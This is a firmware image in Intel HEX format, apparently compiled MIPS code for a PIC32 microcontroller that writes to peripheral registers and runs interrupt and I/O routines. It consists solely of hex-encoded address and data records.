:10bdd0000019020023186200158082931b00620084
:10bde000f40140001010000012100000608182afca
:10bdf0000000000042818297212040002110800035
:10be0000c0100200401902002318620080110300d4
:10be1000231043002110440080110200211840002b
:10be20006481828f1b006200f4014000101000004a
:10be300012100000548182af21e8c0030c00be8fb5
:10be40001000bd270800e00300000000d8ffbd2758
:10be50002400bfaf2000beaf21f0a0032800c4af74
:10be60002c00c5af3000c6af1000c0a72800c28f9d
:10be7000050042901200c2a72800c28f0400429021
:10be80001600c2a32800c28f010042901700c2a36f
:10be90001500c0a37480838f010002240600621085
:10bea0000000000003000224788082af211000000f
:10beb00091f0400b000000002c00c48f21280000ee
:10bec000040006247152410f000000002800c28fb8
:10bed0001800c2af1400c0a3c6ef400b0000000062
:10bee0001400c2931800c38f21106200000042901a
:10bef00021204000d719410f000000005481828f9b
:10bf000021204000a519410f000000001400c29339
:10bf1000010042241400c2a31400c2930400422c66
:10bf2000efff4014000000001600c293070040100d
:10bf3000000000001600c29321204000d719410fd5
:10bf400000000000e2ef400b000000001200c2976a
:10bf500008004010000000001200c297ff004230ad
:10bf600021204000d719410f00000000e2ef400bf4
:10bf70000000000021200000d719410f0000000040
:10bf8000000102241200c2a76081828fffff4230ad
:10bf90001c00c32721206000212840002e1a410fd9
:10bfa000000000000600401400000000040002240d
:10bfb000788082af2110000091f0400b000000005b
:10bfc0001c00c393600002249c006210000000006b
:10bfd0001c00c293f000433060000224060062108f
:10bfe000000000001c00c293f000433090000224c7
:10bff0001c006214000000001c00c3932c00c28fc0
:10c00000020043a06081828fffff42301c00c327e3
:10c0100021206000212840002e1a410f000000005e
:10c020000b004010000000001c00c3932c00c28fc6
:10c03000030043a0000000002c00c28f1000c39733
:10c04000000043a40100022491f0400b0000000016
:10c0500004000224788082af2110000091f0400b90
:10c06000000000001c00c2931700c393420062143a
:10c07000000000001500c3931600c2932b1062004d
:10c080001c004010000000005481828f21204000dd
:10c09000a519410f0000000036f0400b0000000021
:10c0a0001500c2933000c38f21106200000042903f
:10c0b00021204000d719410f000000005481828fd9
:10c0c00021204000a519410f000000001500c29377
:10c0d000010042241500c2a31500c3931600c293a9
:10c0e0002b106200eeff401400000000e2ef400b56
:10c0f0000000000057f0400b000000006081828fbc
:10c10000ffff42301c00c32721206000212840008f
:10c110002e1a410f000000000b004010000000002c
:10c120001000c2973000c38f211062001c00c3931f
:10c13000000043a01000c297010042241000c2a7d3
:10c1400057f0400b0000000004000224788082af0a
:10c150002110000091f0400b000000001000c39778
:10c160001200c2972b106200e4ff40140000000090
:10c17000e2ef400b000000001c00c29321184000b9
:10c180001700c293271002002c0062140000000068
:10c190001500c3931600c2932b10620010004010cc
:10c1a000000000005481828f21204000a519410f1a
:10c1b000000000001500c293010043241500c3a332
:10c1c0003000c38f21106200000042902120400007
:10c1d000d719410f000000008ff0400b0000000055
:10c1e0006081828fffff42301c00c3272120600046
:10c1f000212840002e1a410f000000000a004010c4
:10c20000000000001000c297010043241000c3a7e3
:10c210003000c38f211062001c00c393000043a0b4
:10c220008ff0400b0000000004000224788082aff1
:10c230002110000091f0400b00000000e2ef400be5
:10c240000000000021e8c0032400bf8f2000be8f43
:10c250002800bd270800e0030000000000e85d4161
:10c2600000701b4002601a40e0ffbd271c00bbaffe
:10c2700000601b401400baaf1800bbaf44781b7cb1
:10c2800000187b3700609b400400a3af0000a2af02
:10c290001400a38f0f00633003006014000000003f
:10c2a0000c00beaf0800a4af0000000021f0a00306
:10c2b00088bf023c4000033c341043ac88bf033cc1
:10c2c000206162944408027c206162a43080828fe5
:10c2d0000300401000000000308080af388280af43
:10c2e0003882828f01004224388282af9c80829300
:10c2f0000900432ca8006010000000008018020014
:10c30000049d023c18c34224211062000000428cac
:10c310000800400000000000a4c5039d3cc3039d2d
:10c3200074c3039dc8c3039d20c4039d58c4039dcb
:10c33000a0c4039d60c5039da4c5039d88bf033ca5
:10c340002061629401000424444a827c206162a43a
:10c3500088bf033ca0616294444a027ca06162a44d
:10c36000fc8080af020002249c8082a36af1400b13
:10c3700000000000fc80828f01004324fc8083af1a
:10c38000b080838f2b10430003004010000000009a
:10c390006af1400b00000000b480828f050040105d
:10c3a0000000000088bf033c20616294444a027c84
:10c3b000206162a4fc8080af030002249c8082a3e1
:10c3c0006af1400b00000000fc80828f01004324d2
:10c3d000fc8083afb480838f2b1043000300401098
:10c3e000000000006af1400b000000001880828ffe
:10c3f000000043902a0002240500621000000000a3
:10c40000040002249c8082a36af1400b000000001b
:10c41000080002249c8082a36af1400b0000000007
:10c4200088bf033c2061629401000424444a827c5a
:10c43000206162a488bf033ca0616294444a027cec
:10c44000a06162a4fc8080af050002249c8082a3ce
:10c450006af1400b00000000fc80828f0100432441
:10c46000fc8083afa480838f2b1043000300401017
:10c47000000000006af1400b0000000088bf033c90
:10c4800020616294444a027c206162a4fc8080aff7
:10c49000060002249c8082a36af1400b0000000089
:10c4a0001880828f000043902a0002240600621444
:10c4b00000000000070002249c8082a3fc8080af63
:10c4c0006af1400b000000001880828f000042904b
:10c4d0000500401000000000fc80838fac80828f3c
:10c4e00009006210000000001880828f0000429056
:10c4f0001600401400000000fc80838fa880828f0b
:10c50000120062140000000088bf033c20616294a6
:10c5100001000424444a827c206162a488bf033c59
:10c52000a0616294444a027ca06162a41880828f58
:10c5300001004224188082affc8080af05000224f5
:10c540009c8082a36af1400b00000000fc80828f77
:10c5500001004224fc8082af6af1400b0000000021
:10c56000fc80828f01004324fc8083afc080838fd6
:10c570002b10430003004010000000006af1400b44
:10c5800000000000fc8080af080002249c8082a391
:10c590006af1400b00000000000000006af1400b4f
:10c5a000000000000000000021e8c0031400a28f7a
:10c5b0000f00423005004014000000000c00be8f48
:10c5c0000800a48f0400a38f0000a28f00000000c9
:10c5d00000606041c00000001c00ba8f1800bb8fd3
:10c5e00000709a401400ba8f2000bd2702609a4064
:10c5f00000e8dd4100609b401800004200e85d411a
:10c6000000701b4002601a40d8ffbd2700601b402d
:10c610002000baaf2400bbaf44781b7c001c7b37e2
:10c6200000609b400400a3af0000a2af2000a38fd6
:10c630000f00633003006014000000000c00beaf68
:10c640000800a4af00000000121000001400a2af08
:10c65000101800001000a3af21f0a00388bf023c17
:10c6600000100324341043ac088283932a00022470
:10c6700024006214000000008c80828f1900401496
:10c68000000000002082828fffff4324208283afbe
:10c69000140040140000000088bf023c0010032476
:10c6a000641043ac88bf023c681040ac80bf023cc1
:10c6b000000a40ac88bf033c20616294010004245e
:10c6c0000400827c206162a4008180af88bf033cab
:10c6d000a0616294444a027ca06162a4abf2400b68
:10c6e000000000001c82828f148282af1482828f2d
:10c6f00001004324148283af00004290088282a389
:10c70000008180af0081828f01004224008182afce
:10c71000808082930400432809006010000000001c
:10c72000020043285e0060100000000001000324a6
:10c730000800431000000000abf2400b00000000b6
:10c7400004000324ad00431000000000abf2400bd6
:10c750000000000009828293211840000081828f2e
:10c760001d0062140000000000a0023cdc564224c0
:10c77000cc00428c0d0040140000000000a0023ce0
:10c78000dc564224c400428c13004010000000001c
:10c79000088282932118400000a0023cdc5642240b
:10c7a000c800428c0c0062100000000088bf023cf0
:10c7b000a061428c000242300100422cff00443054
:10c7c00088bf033ca0616294444a827ca06162a459
:10c7d0001af2400b0000000000a0023cdc5642248c
:10c7e000c400428c13004010000000000081838fc1
:10c7f0002882828f1b006200f401400010100000ac
:10c80000190040100000000088bf023ca061428c6b
:10c81000000242300100422cff00443088bf033c3c
:10c82000a0616294444a827ca06162a41af2400b27
:10c830000000000000a0023cdc564224c800428cec
:10c84000ff0043300882829326106200ff004230ce
:10c8500001004230ff00443088bf033ca061629475
:10c86000444a827ca06162a40081838f2882828fe7
:10c8700009006214000000001482828f010043242a
:10c88000148283af00004290088282a3008180afaf
:10c89000abf2400b00000000abf2400b00000000c8
:10c8a000088282932118400000a0023cdc564224fa
:10c8b000c800428c28006210000000000081838fb5
:10c8c000108282931b006200f401400010100000ef
:10c8d0000a0040140000000088bf023ca061428ca6
:10c8e000000242300100422cff00443088bf033c6c
:10c8f000a0616294444a827ca06162a40081828f1c
:10c900002882848f108283931b008300f4016000cf
:10c91000101800001220000010828393180083007a
:10c92000121800001b004300f4016000101000000a
:10c9300030004014000000001482828f0100432464
:10c94000148283af00004290088282a3008180afee
:10c95000abf2400b000000000081838f09828293bc
:10c960001b006200f4014000101000000a00401497
:10c970000000000088bf023ca061428c00024230ef
:10c980000100422cff00443088bf033ca061629448
:10c99000444a827ca06162a40081828f2882848fb5
:10c9a000098283931b008300f401600010180000cb
:10c9b00012200000098283931800830012180000df
:10c9c0001b004300f4016000101000000900401437
:10c9d000000000001482828f01004324148283af80
:10c9e00000004290088282a3008180afabf2400b2e
:10c9f00000000000abf2400b000000000081838fbc
:10ca0000098282931b006200f401400010100000b4
:10ca10000c0040140000000088bf023ca061428c62
:10ca2000000242300100422cff00443088bf033c2a
:10ca3000a0616294444a827ca06162a49ef2400b91
:10ca40000000000000a0023cdc564224c800428cda
:10ca5000ff0043300882829326106200ff004230bc
:10ca600001004230ff00443088bf033ca061629463
:10ca7000444a827ca06162a40081838f2882828fd5
:10ca800009006214000000001482828f0100432418
:10ca9000148283af00004290088282a3008180af9d
:10caa000aaf2400b000000000000000021e8c003d3
:10cab0001400a28f130040001000a38f110060002b
:10cac0002000a28f0f00423005004014000000003b
:10cad0000c00be8f0800a48f0400a38f0000a28f5b
:10cae000000000002400bb8f2000ba8f2800bd2763
:10caf00002609a4000e8dd4100609b40180000425f
:10cb000000e85d4100701b4002601a4080ffbd27b5
:10cb10007c00bbaf00601b407400baaf7800bbafb5
:10cb200044781b7c00187b3700609b402000a3af3b
:10cb30001c00a2af7400a38f0f00633013006014b9
:10cb4000000000006400bfaf6000beaf5c00b9af82
:10cb50005800b8af5400b0af5000afaf4c00aeaf0c
:10cb60004800adaf4400acaf4000abaf3c00aaaf53
:10cb70003800a9af3400a8af3000a7af2c00a6af93
:10cb80002800a5af2400a4af1800a1af000000004a
:10cb9000121000006c00a2af101800006800a3afd4
:10cba00021f0a0031000c0af88bf033ca0606294d6
:10cbb000010004244408827ca06062a488bf033c76
:10cbc000a0606294010004248410827ca06062a4ae
:10cbd00088bf023c0100033c341043ac9080829338
:10cbe0000100422cff004230908082a39480828f0b
:10cbf0000300401000000000b6f4400b00000000ed
:10cc00003482828f0800401400000000f88080af5a
:10cc1000ffff0224348082a3f80c410f00000000c3
:10cc2000b6f4400b000000004082829307004010e1
:10cc30000000000040828293ffff4224ff00423048
:10cc4000408282a3b6f4400b0000000088bf033c82
:10cc5000a06062944408027ca06062a400a0023c30
:10cc6000dc564224a00042900400432809006010d2
:10cc700000000000020043289e0060100000000039
:10cc80000100032408004310000000009ef4400b44
:10cc900000000000040003242701431000000000ee
:10cca0009ef4400b0000000088bf023cd060428c24
:10ccb0000002427cff0042302014027c048182a3e7
:10ccc000f880828f090040140000000000a0023ca0
:10ccd000dc564224cc00428c0400401000000000ce
:10cce000f880828f01004224f88082af00a0023ccd
:10ccf000dc564224cc00428c28004010000000008a
:10cd0000f880828f2500401000000000f880828f9c
:10cd100001004230210040100000000004818383a4
:10cd2000348082831d0062140000000088bf033c31
:10cd3000e0606294c45a027ce06062a4f480828f56
:10cd40000800401000000000f88080afffff0224c0
:10cd5000348082a3f80c410f00000000b6f4400bb1
:10cd60000000000001000224f48082af1482838f4f
:10cd7000f880828f4210020023100200211062000e
:10cd8000148282af01000224f88082af80bf023c8f
:10cd9000100e40acb6f4400b0000000000a0023cb6
:10cda000dc564224c400428c1f00401000000000ea
:10cdb000f880828f010042301b004010000000000c
:10cdc00034808383048182830b006214000000009e
:10cdd0001482828f01004324148283af00a0033c9d
:10cde000dc566324c800638cff006330000043a05e
:10cdf00088f3400b000000001482828f010043245e
:10ce0000148283af00a0033cdc566324c800638c0b
:10ce1000ff00633001006338ff006330000043a06f
:10ce200080bf023c100e40ac00a0023cdc56422405
:10ce3000cc00428c140040140000000000a0023c12
:10ce4000dc564224c400428c0f0040140000000055
:10ce50001482828f01004324148283af00a0033c1c
:10ce6000dc566324c800638cff0064300481838334
:10ce7000ff00633026188300ff006330000043a0ea
:10ce800080bf023c100e40ac00a0023cdc564224a5
:10ce9000cc00428c1300401000000000f880828f0c
:10cea000010042300f004010000000001482828f09
:10ceb00001004324148283af048183832120600016
:10cec00000a0033cdc566324c800638c2618830052
:10ced0000100632cff006330000043a080bf023cd0
:10cee000100e40ac04818283348082a39ef4400bf8
:10cef0000000000000a0023cdc5642249c00438c51
:10cf000000a0023cdc564224a400448c00a0023c59
:10cf1000dc564224a400458ccccc023ccdcc42341f
:10cf20001900a200101000008210020023108200dd
:10cf300018006200121000001400c2af01000424a7
:10cf4000e30d410f0000000033f4400b000000002f
:10cf5000010002241000c2afe3f3400b0000000008
:10cf600021200000e30d410f0000000021184000c7
:10cf70001400c28f2b10430004004010000000007a
:10cf80001000c0afe8f3400b0000000088bf023c77
:10cf9000d060428c00014230f1ff401400000000dc
:10cfa000f5f3400b0000000021200000e30d410fcd
:10cfb00000000000211840001400c28f2b10430015
:10cfc00004004010000000001000c0affaf3400b56
:10cfd0000000000088bf023cd060428c000142305b
:10cfe000f1ff40100000000007f4400b00000000bb
:10cff00021200000e30d410f000000002118400037
:10d000001400c28f2b1043000400401000000000e9
:10d010001000c0af0cf4400b0000000088bf023cc1
:10d02000d060428c00014230f1ff4014000000004b
:10d0300019f4400b0000000021200000e30d410f17
:10d0400000000000211840001400c28f2b10430084
:10d0500004004010000000001000c0af1ef4400ba0
:10d060000000000088bf023cd060428c00014230ca
:10d07000f1ff40100000000001000424e30d410f07
:10d08000000000002ef4400b0000000021200000f2
:10d09000e30d410f00000000211840001400c28f72
:10d0a0002b10430004004010000000001000c0af2f
:10d0b00033f4400b0000000088bf023cd060428c7b
:10d0c00000014230f1ff4014000000002120000068
:10d0d000e30d410f00000000211840001400c28f32
:10d0e0002b10620004004010000000001000c28fee
:10d0f00097ff4010000000001000c28f0c0040108d
:10d10000000000001482828f21804000010002266e
:10d11000148282af01000424e30d410f00000000df
:10d12000ff004230000002a29ef4400b000000000d
:10d130009ef4400b0000000000a0023cdc5642249c
:10d140009c00438ccccc023ccdcc42341900620014
:10d1500010100000c2100200c01002001400c2af84
:10d1600080bf023c100e40ac63f4400b0000000096
:10d1700088bf023cd060428c000142300300401066
:10d180000000000069f4400b0000000080bf023c7a
:10d19000100e438c1400c28f2b106200f4ff401459
:10d1a0000000000088bf023cd060428c0002427c3c
:10d1b000ff0042302118400000a0023cdc5642240f
:10d1c000c800428cff00423026106200ff0043304e
:10d1d00004818283ff00423026106200ff0042304b
:10d1e0002014027c048182a33c82828f19004010ab
:10d1f0000000000088bf023cd060428c0001423039
:10d20000140040100000000080bf023c100e40ac33
:10d210000000000088bf023cd060428c0001423018
:10d22000fcff40140000000021200000e30d410f2e
:10d23000000000001400c2af3c82828f1400c38f34
:10d240002b106200030040100000000001000224c7
:10d25000f08082af1482828f01004324148283af56
:10d2600004818383ff006330000043a080bf023c41
:10d27000100e40ac00000000f880828f01004224b4
:10d28000f88082af88bf033ca06062948410027c67
:10d29000a06062a4f880838f3482828f0e006214b3
:10d2a00000000000f88080aff880828f348282af67
:10d2b000ffff0224348082a3f48080af88bf033c48
:10d2c000e060629401000424c45a827ce06062a49d
:10d2d000f80c410f0000000021e8c0036c00a28f91
:10d2e000130040006800a38f110060007400a28f3b
:10d2f0000f00423015004014000000006400bf8f92
:10d300006000be8f5c00b98f5800b88f5400b08f9a
:10d310005000af8f4c00ae8f4800ad8f4400ac8ff3
:10d320004000ab8f3c00aa8f3800a98f3400a88f33
:10d330003000a78f2c00a68f2800a58f2400a48f73
:10d340002000a38f1c00a28f1800a18f00000000f6
:10d3500000606041c00000007c00ba8f7800bb8f85
:10d3600000709a407400ba8f8000bd2702609a4016
:10d3700000e8dd4100609b4018000042e8ffbd2747
:10d380001400bfaf1000beaf21f0a0032110800039
:10d390001800c2a31800c29334004010000000001f
:10d3a0001800c2930200032418004310000000007c
:10d3b0000300432806006010000000000100032461
:10d3c0000b0043100000000018f5400b00000000a7
:10d3d0000300032414004310000000000400032491
:10d3e000180043100000000018f5400b000000007a
:10d3f00088bf033ca0606294010004244408827c3e
:10d40000a06062a41bf5400b0000000088bf033c35
:10d41000a0606294010004248410827ca06062a455
:10d420001bf5400b0000000088bf033ca060629425
:10d4300001000424c418827ca06062a41bf5400b88
:10d440000000000088bf033c2061629401000424b6
:10d450004429827c206162a41bf5400b000000007f
:10d460002110000036f6400b0000000088bf023c8f
:10d47000d060428c4001427cff00423021184000c5
:10d4800000a0023cdc564224980043ac2cf5400b33
:10d49000000000002b15410f0000000004004010a8
:10d4a000000000002110000036f6400b00000000d4
:10d4b00088bf023cd060428c4001427cff00423079
:10d4c0002118400000a0023cdc5642249800428c07
:10d4d0000b0062140000000088bf023cd060428c48
:10d4e0008001427cff0042302118400000a0023c35
:10d4f000dc5642249800428ce6ff621000000000d7
:10d5000001000424e30d410f0000000088bf023c2d
:10d51000d060428c4001427cff0042302118400024
:10d5200000a0023cdc5642249800428c0b006210a2
:10d5300000000000d080828f01004324d08083afa0
:10d5400000a0033cdc2463242110430030000324aa
:10d55000000043a068f5400b00000000d080828fdf
:10d5600001004324d08083af00a0033cdc2463246b
:10d570002110430031000324000043a068f5400b54
:10d58000000000002b15410f0000000004004010b7
:10d59000000000002110000036f6400b00000000e3
:10d5a00088bf023cd060428c4001427cff00423088
:10d5b0002118400000a0023cdc5642249800428c16
:10d5c000f0ff62140000000088bf023cd060428c73
:10d5d0008001427cff0042302118400000a0023c44
:10d5e000dc5642249800428ce6ff621400000000e2
:10d5f00001000424e30d410f000000002118400049
:10d6000000a0023cdc564224900043ac8cf5400b59
:10d61000000000002b15410f000000000400401026
:10d62000000000002110000036f6400b0000000052
:10d6300088bf023cd060428c4001427cff004230f7
:10d640002118400000a0023cdc5642249800428c85
:10d650000b0062140000000088bf023cd060428cc6
:10d660008001427cff0042302118400000a0023cb3
:10d67000dc5642249800428ce6ff62100000000055
:10d6800001000424e30d410f0000000021184000b8
:10d6900000a0023cdc564224940043ac88bf023c0c
:10d6a000d060428c4001427cff0042302118400093
:10d6b00000a0023cdc5642249800428c0b00621011
:10d6c00000000000d080828f01004324d08083af0f
:10d6d00000a0033cdc246324211043003000032419
:10d6e000000043a0ccf5400b00000000d080828fea
:10d6f00001004324d08083af00a0033cdc246324da
:10d700002110430031000324000043a0ccf5400b5e
:10d71000000000002b15410f000000000400401025
:10d72000000000002110000036f6400b0000000051
:10d7300088bf023cd060428c4001427cff004230f6
:10d740002118400000a0023cdc5642249800428c84
:10d75000f0ff62140000000088bf023cd060428ce1
:10d760008001427cff0042302118400000a0023cb2
:10d77000dc5642249800428ce6ff62140000000050
:10d78000212000003cf6400f00000000d48083936d
:10d79000010002241d0062140000000000a0023cf1
:10d7a000dc5642249000428c059d033c285764249b
:10d7b000212840006913410f0000000000a0023c36
:10d7c000dc5642249400428c059d033c4857642457
:10d7d000212840006913410f0000000000a0023c16
:10d7e000dc5642249000438c00a0023cdc564224cc
:10d7f0009400428c21106200059d033c6c57642408
:10d80000212840006913410f000000001800c29356
:10d8100030004010000000001800c29302000324f2
:10d8200017004310000000000300432806006010aa
:10d8300000000000010003240b0043100000000062
:10d8400032f6400b000000000300032412004310d6
:10d850000000000004000324150043100000000035
:10d8600032f6400b0000000088bf033ca0606294c9
:10d870004408027ca06062a435f6400b0000000062
:10d8800088bf033ca06062948410027ca06062a404
:10d8900035f6400b0000000088bf033ca060629496
:10d8a000c418027ca06062a435f6400b00000000a2
:10d8b00088bf033c206162944429027c206162a4f9
:10d8c00035f6400b000000002110000036f6400b3a
:10d8d000000000000100022421e8c0031400bf8ff3
:10d8e0001000be8f1800bd270800e00300000000f4
:10d8f000d8ffbd272400bfaf2000beaf1c00b0afd3
:10d9000021f0a003211080002800c2a32800c293a8
:10d9100044004010000000002800c29302000324cd
:10d920001c004310000000000300432806006010a4
:10d9300000000000010003240b0043100000000061
:10d9400086f6400b00000000030003241c00431077
:10d950000000000004000324240043100000000025
:10d9600086f6400b0000000088bf023ca060428c9d
:10d97000020042300100422cff00443088bf033ccb
:10d98000a06062944408827ca06062a489f6400b87
:10d990000000000088bf023ca060428c04004230be
:10d9a0000100422cff00443088bf033ca060629419
:10d9b0008410827ca06062a489f6400b0000000005
:10d9c00088bf023ca060428c080042300100422c1b
:10d9d000ff00443088bf033ca0606294c418827c7e
:10d9e000a06062a489f6400b0000000088bf023ce2
:10d9f0002061428c200042300100422cff00443064
:10da000088bf033c206162944429827c206162a427
:10da100089f6400b0000000021100000fdf6400bcd
:10da20000000000000a0023cdc5642249000438c21
:10da300000a0023cdc5642249400428c211062007b
:10da4000401002001000c2afd080828f21804000c1
:10da500001000226d08082af2120000004f7400f91
:10da6000000000002118400000a0023cdc244224f9
:10da700021100202000043a0d080908f1000c48fbc
:10da800004f7400f000000002118400000a0023cf5
:10da9000dc24422421100202000043a0d080838fa6
:10daa00000a0023cdc2442242110620000004290cd
:10dab0000700401400000000000000002800c2938e
:10dac0004b00401000000000b9f6400b00000000c1
:10dad000d080828f01004224d08082af9ef6400b1e
:10dae000000000002800c293020003241c00431021
:10daf0000000000003004328060060100000000042
:10db0000010003240b00431000000000f9f6400b55
:10db100000000000030003241c004310000000006c
:10db2000040003242400431000000000f9f6400b19
:10db30000000000088bf023ca060428c020042301e
:10db40000100422cff00443088bf033ca060629477
:10db50004408827ca06062a4fcf6400b0000000038
:10db600088bf023ca060428c040042300100422c7d
:10db7000ff00443088bf033ca06062948410827c24
:10db8000a06062a4fcf6400b0000000088bf023ccd
:10db9000a060428c080042300100422cff0044305b
:10dba00088bf033ca0606294c418827ca06062a419
:10dbb000fcf6400b0000000088bf023c2061428c54
:10dbc000200042300100422cff00443088bf033c5b
:10dbd000206162944429827c206162a4fcf6400b9f
:10dbe0000000000021100000fdf6400b00000000c6
:10dbf0000100022421e8c0032400bf8f2000be8f53
:10dc00001c00b08f2800bd270800e00300000000c2
:10dc1000e0ffbd271c00bfaf1800beaf21f0a0037e
:10dc20002000c4af01000424e30d410f00000000f8
:10dc300024f7400b0000000021200000e30d410ffd
:10dc4000000000001400c2af2000c28f0900401085
:10dc5000000000001400c38f2000c28f2b1043006f
:10dc60000400401000000000211000005ef7400b8f
:10dc7000000000002b15410f0000000004004010c0
:10dc800000000000211000005ef7400b00000000c3
:10dc900088bf023cd060428c4001427cff00423091
:10dca0002118400000a0023cdc5642249800428c1f
:10dcb0000b0062140000000088bf023cd060428c60
:10dcc0008001427cff0042302118400000a0023c4d
:10dcd000dc5642249800428cd7ff621000000000fe
:10dce00088bf023cd060428c4001427cff00423041
:10dcf0002118400000a0023cdc5642249800428ccf
:10dd00000500621000000000300002241000c2a3d1
:10dd100048f7400b00000000310002241000c2a3ad
:10dd20000000000088bf023cd060428c4001427c71
:10dd3000ff0042302118400000a0023cdc56422483
:10dd40009800428cf7ff62140000000088bf023c7c
:10dd5000d060428c8001427cff004230211840009c
:10dd600000a0023cdc5642249800428cedff621475
:10dd7000000000001000c29321e8c0031c00bf8f08
:10dd80001800be8f2000bd270800e003000000003f
:10dd9000e8ffbd271400bfaf1000beaf21f0a00305
:10dda0001800c4af78f7400b000000001800c28fc5
:10ddb000000042902120400093f7400f0000000037
:10ddc0000400401400000000010002247df7400b15
:10ddd000000000001800c28f010042241800c2afea
:10dde0001800c28f00004290f0ff401400000000b5
:10ddf0002110000021e8c0031400bf8f1000be8f67
:10de00001800bd270800e00300000000f8ffbd2750
:10de10000400beaf21f0a0030800c4af8880828f49
:10de20000400401000000000010002248ef7400ba7
:10de3000000000000100022421e8c0030400be8f9e
:10de40000800bd270800e00300000000e8ffbd2730
:10de50001400bfaf1000beaf21f0a003211080005e
:10de60001800c2a300a0023cdc5642249000428c61
:10de7000060040100000000000a0023cdc564224d6
:10de80009400428c040040140000000021100000a7
:10de9000eff7400b0000000001000424e30d410fe8
:10dea000000000001800c393300002240c0062142c
:10deb0000000000000a0023cdc5642249800428c86
:10dec0000100422cff00443088bf033ce0606294b4
:10ded000c418827ce06062a4c1f7400b000000001f
:10dee00000a0023cdc5642249800428c0100422ce7
:10def000ff00443088bf033ce06062948410827c61
:10df0000e06062a40000000021200000e30d410f4a
:10df1000000000002118400000a0023cdc56422412
:10df20009000428c2b106200f7ff401400000000ac
:10df300000a0023cdc5642249800428cff00423094
:10df400001004230ff00443088bf033ce06062942f
:10df5000c418827ce06062a400a0023cdc5642242b
:10df60009800428cff00423001004230ff004430f4
:10df700088bf033ce06062948410827ce06062a40d
:10df800001000424e30d410f000000000000000028
:10df900021200000e30d410f000000002118400087
:10dfa00000a0023cdc5642249400428c2b106200fc
:10dfb000f7ff4014000000000100022421e8c00324
:10dfc0001400bf8f1000be8f1800bd270800e003ab
:10dfd00000000000e8ffbd271400bfaf1000beaf77
:10dfe00021f0a00377f8400f0000000088bf033c39
:10dff000e0606294c418027ce06062a488bf033cc5
:10e00000e0606294010004248410827ce06062a4d9
:10e0100088bf023cd060428c200042300600401491
:10e020000000000088bf023cd060428c40004230bb
:10e0300004004014000000002110000028f8400bec
:10e040000000000088bf033ce060629401000424eb
:10e05000c418827ce06062a488bf033ce0606294e4
:10e060008410027ce06062a488bf023cd060428cd5
:10e0700020004230060040100000000088bf023c33
:10e08000d060428c4000423004004010000000008c
:10e090002110000028f8400b0000000001000224bd
:10e0a00021e8c0031400bf8f1000be8f1800bd27e9
:10e0b0000800e00300000000e0ffbd271c00bfaf28
:10e0c0001800beaf1400b0af21f0a0032000c4af11
:10e0d0002400c5af2110c0002800c2a32000d08fab
:10e0e000010002262000c2af2800c29342100200a5
:10e0f000ff0042302400c48f21280000213040005e
:10e10000e3bc400f00000000000002a22800c29300
:10e110002000c48f2400c58f21304000214b410fc7
:10e12000000000002800c2932000c38f211062006d
:10e130002000c2af2800c29342100200ff0042300c
:10e140002400c38f211862002800c29342100200ed
:10e15000ff004230212060000100052421304000f2
:10e16000e3bc400f00000000211840002000c28fd7
:10e17000000043a021e8c0031c00bf8f1800be8f21
:10e180001400b08f2000bd270800e003000000004d
:10e19000f8ffbd270400beaf21f0a00388bf033cf9
:10e1a000c060629401000424c418827cc06062a430
:10e1b00088bf033cc0606294010004248410827c08
:10e1c000c06062a4888080af21e8c0030400be8fd5
:10e1d0000800bd270800e00300000000f8ffbd278d
:10e1e0000400beaf21f0a00388bf033cc06062946e
:10e1f000c418027cc06062a488bf033cc060629403
:10e200008410027cc06062a488bf023cd060428c53
:10e210004001427cff00443088bf033ce0606294d0
:10e22000c418827ce06062a488bf023cd060428c4b
:10e230008001427cff00443088bf033ce060629470
:10e240008410827ce06062a401000224888082af96
:10e2500021e8c0030400be8f0800bd270800e003ca
:10e2600000000000f8ffbd270400beaf21f0a003ae
:10e270000800c4af0800c28fff00423001004230e6
:10e28000ff00443088bf033ce061628c8473827c71
:10e29000e06162ac0800c28fff00423001004230f2
:10e2a000ff00443088bf033ce061628cc47b827c09
:10e2b000e06162ac21e8c0030400be8f0800bd2706
:10e2c0000800e00300000000d0ffbd272c00bfaf16
:10e2d0002800beaf21f0a0033000c4af3400c5afaa
:10e2e0003800c6af3c00c7af00a0023cdc1c442491
:10e2f0003000c58fcbb8400f000000002000c2af37
:10e300002000c28f04004014000000002110000013
:10e31000e0f8400b0000000000a0023cdc56422464
:10e32000cc00428c090040100000000000a0023c1c
:10e33000dc1c442400a0023cdc1c45242000c68fc9
:10e3400051bb400f000000002000c2af3c00c28f54
:10e350001000a2af4000c28f1400a2af4400c28fd1
:10e360001800a2af00a0023cdc1c44242000c58f92
:10e370003400c68f3800c78fe6f8400f0000000059
:10e3800021e8c0032c00bf8f2800be8f3000bd27be
:10e390000800e00300000000e0ffbd271c00bfaf45
:10e3a0001800beaf21f0a0032000c4af2400c5af09
:10e3b0002800c6af2c00c7af00a0023cdc1c4424e0
:10e3c0002000c58f2400c68f214b410f00000000a4
:10e3d00000a0023cdc1c43242400c28f21106200f8
:10e3e0002a000324000043a02800c28f4218020024
:10e3f0002c00c28f401002003400c48f1000a4af64
:10e400003800c48f1400a4af2120600000a0033c9a
:10e41000dc1c6524213040003000c78f10f9400f0c
:10e42000000000000100022421e8c0031c00bf8f8f
:10e430001800be8f2000bd270800e0030000000088
:10e44000e8ffbd271400bfaf1000beaf21f0a0034e
:10e450001800c4af1c00c5af2000c6af2400c7af72
:10e460001800c38fcccc023ccdcc423419006200e2
:10e4700010100000c2100200c01002001800c2af4d
:10e480001c00c28f00004290088282a31c00c28f31
:10e4900001004224148282af1c00c28f1c8282af12
:10e4a0002c00c28f208282af2000c28f288282afd0
:10e4b0002400c28fff004230098282a32800c28f4d
:10e4c000ff004230108282a302000224808082a3d7
:10e4d000c40c410f0000000088bf023c0010032460
:10e4e000641043ac88bf023c681040ac80bf023c63
:10e4f000000a40ac88bf033c6060629401000424c1
:10e500000421827c606062a488bf033c2061629425
:10e51000444a027c206162a488bf033cd0606294bc
:10e520000421027cd06062a488bf033c2061629415
:10e530000400027c206162a480bf023c000a40ac5f
:10e5400080bf023c100a40ac1800c28fffff43247a
:10e5500080bf023c200a43ac80bf023c00800334f1
:10e56000080a43ac88bf023c1c000324c41043ac1f
:10e5700088bf023c18000324c81043ac88bf023c8b
:10e5800000100324341043ac88bf023c0010032465
:10e59000641043ac88bf023c00100324681043acf5
:10e5a00021e8c0031400bf8f1000be8f1800bd27e4
:10e5b0000800e00300000000b8fdbd274402bfaf23
:10e5c0004002beaf21f0a0034802c4af4c02c5af69
:10e5d000010002243400c2af3800c22721204000cd
:10e5e00030000524000206247152410f0000000093
:10e5f0003802c0a300a0023cdc5642249c00448c9c
:10e6000000a0023cdc564224a400458c00a0023c41
